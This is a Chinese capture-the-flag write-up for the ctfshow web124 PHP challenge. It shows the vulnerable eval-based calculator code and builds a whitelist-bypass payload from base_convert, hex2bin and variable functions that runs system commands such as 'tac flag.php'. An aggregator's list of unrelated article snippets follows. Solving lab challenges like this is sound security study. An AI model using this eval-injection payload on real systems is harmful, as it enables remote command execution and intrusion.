[ctfshow web入门] web124

信息收集

error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){show_source(__FILE__);
}else{//例子 c=20-1$content = $_GET['c'];// 长度不允许超过80个字符if (strlen($content) >= 80) {die("太长了不会算");}// 设置字符黑名单,以下字符不允许出现在content中$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $content)) {die("请不要输入奇奇怪怪的字符");}}// 设置白名单,只允许以下单词出现在content中//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];// 这里匹配的是变量名,这和平时编程时变量命名规则类似,第一个[],以大小写字母或者\x7f-\xff开头,第二个[],存在0-n个规则内的字符,也就是说a?bc会被匹配上a和bcpreg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  // 匹配正则的字符会在这里进行白名单过滤,也就是说不是变量单词类的东西就不会在这里被过滤了foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die("请不要输入奇奇怪怪的函数");}}//帮你算出答案eval('echo '.$content.';');
}

白名单中有base_convert decbin hexdec,也许可以加以利用

解题

使用了之前写的脚本,构造与或非,都失败了,主要是限制了0x7f-0xff字符的使用

base_convert(number, frombase, tobase)
‌number‌:要转换的数字。
‌frombase‌:数字原来的进制。
‌tobase‌:要转换到的进制。
return: 转化后的数值decbin(dec_number)
dec_number:需要转化成2进制的10进制数
return: 转化后的数值dechex(dec_number)
dec_number:需要转化成16进制的10进制数
return: 转化后的数值hex2bin(hex_number)
dec_number:需要转化成ASCII码的16进制数
return: 转化后的字符串

使用base_convert构造,但是内容不能太长
我们尝试构造一个$_GET[a],这样就能绕过它的检测了,可是_GETa都不在白名单里,过不了白名单验证

我试了一下decbin,转化后是二进制,不是我们想要的字符串,所以不满足条件
得使用hex2bin,这样能转化出字符串

_GET构造

<?php
echo base_convert("hex2bin",36,10).'\n'; 	//37907361743
echo base_convert(37907361743,10,36).'\n';	//hex2binecho bin2hex("_GET").'\n';					//5f474554
echo hexdec(bin2hex("_GET")).'\n';			//1598506324
echo decbin(1598506324).'\n';				//1011111010001110100010101010100
echo hex2bin("5f474554").'\n';				//_GET
echo hex2bin(dechex(1598506324)).'\n';		//_GET
?>

使用base_convert的36进制转10进制,是因为36进制包含0-9a-z
所以最后

base_convert(37907361743,10,36)(dechex(1598506324))
⇒ hex2bin(dechex(1598506324))
⇒ _GET

这样构造的函数为什么能够执行,因为,PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
详细可以看:php: 可变函数这篇文章

至此,我们仅拿到了_GET的合法构造

利用_GET

$$a相当于 $($a) $a被解析成了字符串并与前面的 重新组成了变量,所以 ‘ 重新组成了变量,所以` 重新组成了变量,所以$a ⇒ $apple`

<?php
$a = "apple";     // 普通变量
$$a = "banana";  // 等价于 $apple = "banana"
echo $a; //apple
echo $apple; //banana
echo $$a; //banana
?>

由于我们不能使用白名单之外的单词,所以我们随意选一个做变量名,但要尽可能短,毕竟限制了只能输入80个字符

例如:

$pi=base_convert(37907361743,10,36)(dechex(1598506324))$pi = "_GET"$$pi = $_GET 

绕过中括号

仅 php_version < php7.4可实现
题目的版本在当前时间段版本是7.3.11

$data = ['name' => 'apple'];
echo $data['name'];
echo $data{name};

所以可以通过$_GET{key}绕过中括号

构造payload

$_GET{cmd}  
这里cmd不在白名单内所以不能使用,我们找一个白名单里短一点的单词,最好不是关键字,关键字可能会引发不必要的麻烦
⇒ $_GET{sin}
把之前的$_GET翻译过来
⇒ $pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{sin}&sin=system('ls');
这还不够,因为sin = system('ls'),但是单引号被过滤了,所以我们折中一下
⇒ $pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{sin}($$pi{cos})&sin=system&cos=ls

最终答案:

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{sin}($$pi{cos})&sin=system&cos=ls
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{sin}($$pi{cos})&sin=system&cos=tac flag.php

在这里插入图片描述


web122    目录    web78

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/diannao/84946.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Vue 技术文档

一、引言 Vue 是一款用于构建用户界面的渐进式 JavaScript 框架&#xff0c;具有易上手、高性能、灵活等特点&#xff0c;能够帮助开发者快速开发出响应式的单页面应用。本技术文档旨在全面介绍 Vue 的相关技术知识&#xff0c;为开发人员提供参考和指导。 二、环境搭建 2.1…

Nodejs+http-server 使用 http-server 快速搭建本地图片访问服务

在开发过程中&#xff0c;我们经常需要临时查看或分享本地的图片资源&#xff0c;比如设计稿、截图、素材等。虽然可以通过压缩发送&#xff0c;但效率不高。本文将教你使用 Node.js 的一个轻量级工具 —— http-server&#xff0c;快速搭建一个本地 HTTP 图片预览服务&#xf…

通义智文开源QwenLong-L1: 迈向长上下文大推理模型的强化学习

&#x1f389; 动态 2025年5月26日: &#x1f525; 我们正式发布&#x1f917;QwenLong-L1-32B——首个采用强化学习训练、专攻长文本推理的LRM模型。在七项长文本文档问答基准测试中&#xff0c;QwenLong-L1-32B性能超越OpenAI-o3-mini和Qwen3-235B-A22B等旗舰LRM&#xff0c…

学习如何设计大规模系统,为系统设计面试做准备!

前言 在当今快速发展的技术时代&#xff0c;系统设计能力已成为衡量一名软件工程师专业素养的重要标尺。随着云计算、大数据、人工智能等领域的兴起&#xff0c;构建高性能、可扩展且稳定的系统已成为企业成功的关键。然而&#xff0c;对于许多工程师而言&#xff0c;如何有效…

Python生成ppt(python-pptx)N问N答(如何绘制一个没有背景的矩形框;如何绘制一个没有背景的矩形框)

文章目录 [toc]1. **如何安装python-pptx库&#xff1f;**2. **如何创建一个空白PPT文件&#xff1f;**3. **如何添加幻灯片并设置布局&#xff1f;**4. **如何添加文本内容&#xff1f;**5. **如何插入图片&#xff1f;**6. **如何设置动画和转场效果&#xff1f;**9. **如何绘…

命令模式,观察者模式,状态模式,享元模式

什么是命令模式&#xff1f; 核心思想是将原本直接调用的方法封装为对象&#xff08;如AttackCommand&#xff09;&#xff0c;对象包含​​执行逻辑​​和​​上下文信息​​&#xff08;如目标、参数&#xff09;。比如&#xff0c;玩家的按键操作被封装成一个命令对象&#…

Window Server 2019--07 PKI、SSL网站与邮件安全

了解PKI、SSL技术的核心原理掌握PKI架构服务器配置掌握证书管理与应用 公钥基础设施&#xff08;Public Key Infrastructure&#xff0c;PKI&#xff09;是一个完整的颁发、吊销、管理数字证书的系统&#xff0c;是支持认证、加密、完整性和可追究性服务的基础设施。PKI通过第…

从C++编程入手设计模式2——工厂模式

从C编程入手设计模式 工厂模式 ​ 我们马上就要迎来我们的第二个创建型设计模式&#xff1a;工厂方法模式&#xff08;Factory Method Pattern&#xff09;。换而言之&#xff0c;我们希望使用一个这样的接口&#xff0c;使用其他手段而不是直接创建的方式&#xff08;说的有…

MySQL、PostgreSQL、Oracle 区别详解

MySQL、PostgreSQL、Oracle 区别详解 一、基础架构对比 1.1 数据库类型 MySQL:关系型数据库(支持NoSQL插件如MySQL Document Store)PostgreSQL:对象-关系型数据库(支持JSON等半结构化数据)Oracle:多模型数据库(关系型+文档+图+空间等)关键结论:PostgreSQL在数据类型…

window11系统 使用GO语言建立TDengine 连接

目录 1、安装GCC、TDengine-client 1、github下载mingw64 软件包 2、解压指定目录、配置环境变量 3、检验gcc是否安装成功 4、安装TDengine-client 2、配置go环境变量 3、配置Goland 系统变量、重启Goland&#xff08;该软件自己也有系统变量&#xff0c;有时候会和win…

VR 赋能病毒分离鉴定:开启微观探索新视界

在大众认知里&#xff0c;VR 技术往往与沉浸式游戏体验、虚拟社交紧密相连&#xff0c;让人仿佛置身于奇幻的虚拟世界中&#xff0c;感受着科技带来的奇妙娱乐享受。而病毒分离鉴定&#xff0c;听起来则是一个充满专业性与严肃性的科学领域&#xff0c;它关乎病毒的研究、疾病的…

Azure Devops pipeline 技巧和最佳实践

1. 如何显示release pipeline ? 解决方法: 登录devops, 找到organization - pipeline - setting下的Disable creation of classic release pipelines,禁用该选项。 然后在project - pipeline - setting,禁用Disable creation of classic release pipelines 现在可以看到r…

GPU的通信技术

GPU 之间直接通信主要采用了以下几种技术1&#xff1a; GPUDirect P2P&#xff1a;NVIDIA 开发的技术&#xff0c;用于单机上的 GPU 间高速通信。在没有该技术时&#xff0c;GPU 间数据交换需先通过 CPU 和 PCIe 总线复制到主机固定的共享内存&#xff0c;再复制到目标 GPU&…

重新测试deepseek Jakarta EE 10编程能力

听说deepseek做了一个小更新&#xff0c;我重新测试了一下Jakarta EE 10编程能力&#xff1b;有点进步&#xff0c;遗漏的功能比以前少了。 采用Jakarta EE 10 编写员工信息表维护表&#xff0c;包括员工查询与搜索、员工列表、新增员工、删除员工&#xff0c;修改员工&#xf…

​Windows 11 安装 Miniconda 与 Jupyter 全流程指南​

​一、Miniconda 安装与配置​ 1. 下载安装程序 ​访问官网​&#xff1a;打开 Miniconda 官网&#xff0c;下载 ​Python 3.x 版本的 Windows 64 位安装包​。​安装路径选择​&#xff1a; 推荐路径&#xff1a;D:\Miniconda3&#xff08;避免使用中文路径和空格&#xff0…

RuoYi前后端分离框架集成手机短信验证码(一)之后端篇

一、背景 本项目基于RuoYi 3.8.9前后端分离框架构建,采用Spring Security实现系统权限管理。作为企业级应用架构的子模块,系统需要与顶层项目实现用户数据无缝对接(以手机号作为统一用户标识),同时承担用户信息采集的重要职能。为此,我们在保留原有账号密码登录方式的基…

Java ThreadLocal 应用指南:从用户会话到数据库连接的线程安全实践

ThreadLocal 提供了一种线程局部变量&#xff08;thread-local variables&#xff09;的机制&#xff0c;这意味着每个访问该变量的线程都会拥有其自己独立的、初始化的变量副本。这确保了线程之间不会共享数据&#xff0c;也避免了因共享数据而可能产生的竞争条件和同步问题&a…

GitCode镜像门法律分析:PL协议在中国的司法实践

本文以2022年引发广泛争议的GitCode开源代码镜像事件为研究对象&#xff0c;系统分析公共许可证&#xff08;Public License&#xff0c;PL&#xff09;在中国法律体系下的适用性挑战。通过研究中国法院近五年涉及GPL、Apache、MIT等主流协议的21个司法案例&#xff0c;揭示开源…

Rider崩溃问题终极解决指南

JetBrains Rider 2025.1.2 频繁崩溃问题解决指南 问题描述&#xff1a; 编辑器频繁自动崩溃&#xff0c;任务管理器显示大量 Git for Windows 进程被启动。 原因分析&#xff1a; 这是 Rider 的自动版本控制功能导致的。当检测到代码变更时&#xff0c;编辑器会不断尝试启动 …

4 串电池保护芯片创芯微CM1341-DAT使用介绍

特性 专用于 4 串锂/铁/钠电池的保护芯片&#xff0c;内置有高精度电压检测电路和电流检测电路。通过检测各节电池的电压、充放电电流及温度等信息&#xff0c;实现电池过充电、过放电、均衡、断线、低压禁充、放电过电流、短路、充电过电流和过温保护等功能&#xff0c;放电过…